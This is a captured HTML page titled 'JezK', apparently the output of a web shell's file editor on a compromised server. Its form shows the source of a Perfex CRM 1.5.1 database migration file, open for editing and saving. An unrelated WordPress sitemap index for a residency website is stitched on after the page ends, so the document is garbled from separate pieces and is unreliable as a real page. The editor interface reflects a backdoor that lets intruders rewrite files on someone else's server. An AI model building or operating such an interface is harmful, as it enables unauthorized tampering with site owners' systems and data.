
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: 151_version_151.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Migration_Version_151 extends CI_Migration
{
    function __construct()
    {
        parent::__construct();
    }

    public function up()
    {
        $this-&gt;db-&gt;query(&quot;ALTER TABLE `tbltickets` ADD INDEX(`project_id`);&quot;);
        add_option('only_own_files_contacts',0);
        add_option('allow_primary_contact_to_view_edit_billing_and_shipping',0);
        add_option('estimate_due_after',7);

        $this-&gt;db-&gt;query(&quot;CREATE TABLE IF NOT EXISTS `tblcustomerfiles_shares` (
          `file_id` int(11) NOT NULL,
          `contact_id` int(11) NOT NULL
          ) ENGINE=MyISAM DEFAULT CHARSET=utf8;&quot;);

        $this-&gt;db-&gt;select('rel_id,id');
        $this-&gt;db-&gt;where('rel_type','customer');
        $this-&gt;db-&gt;where('visible_to_customer',1);
        $files = $this-&gt;db-&gt;get(db_prefix().'files')-&gt;result_array();

        foreach($files as $file){
            $this-&gt;db-&gt;select('id');
            $this-&gt;db-&gt;where('userid',$file['rel_id']);
            $contacts = $this-&gt;db-&gt;get(db_prefix().'contacts')-&gt;result_array();
            foreach($contacts as $contact){
             $this-&gt;db-&gt;insert(db_prefix().'customerfiles_shares',array('file_id'=&gt;$file['id'],'contact_id'=&gt;$contact['id']));
         }
     }
    // Nothing to do here only to update database version number
     update_option('update_info_message', '&lt;div class=&quot;col-md-12&quot;&gt;
        &lt;div class=&quot;alert alert-success bold&quot;&gt;
            &lt;h4 class=&quot;bold&quot;&gt;Hi! Thanks for updating Perfex CRM - You are using version 1.5.1&lt;/h4&gt;
            &lt;p&gt;
                This window will reload automaticaly in 10 seconds and will try to clear your browser cache, however its recomended to clear your browser cache manually.
            &lt;/p&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;script&gt;
        setTimeout(function(){
            window.location.reload();
        },10000);
    &lt;/script&gt;
    ');
 }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
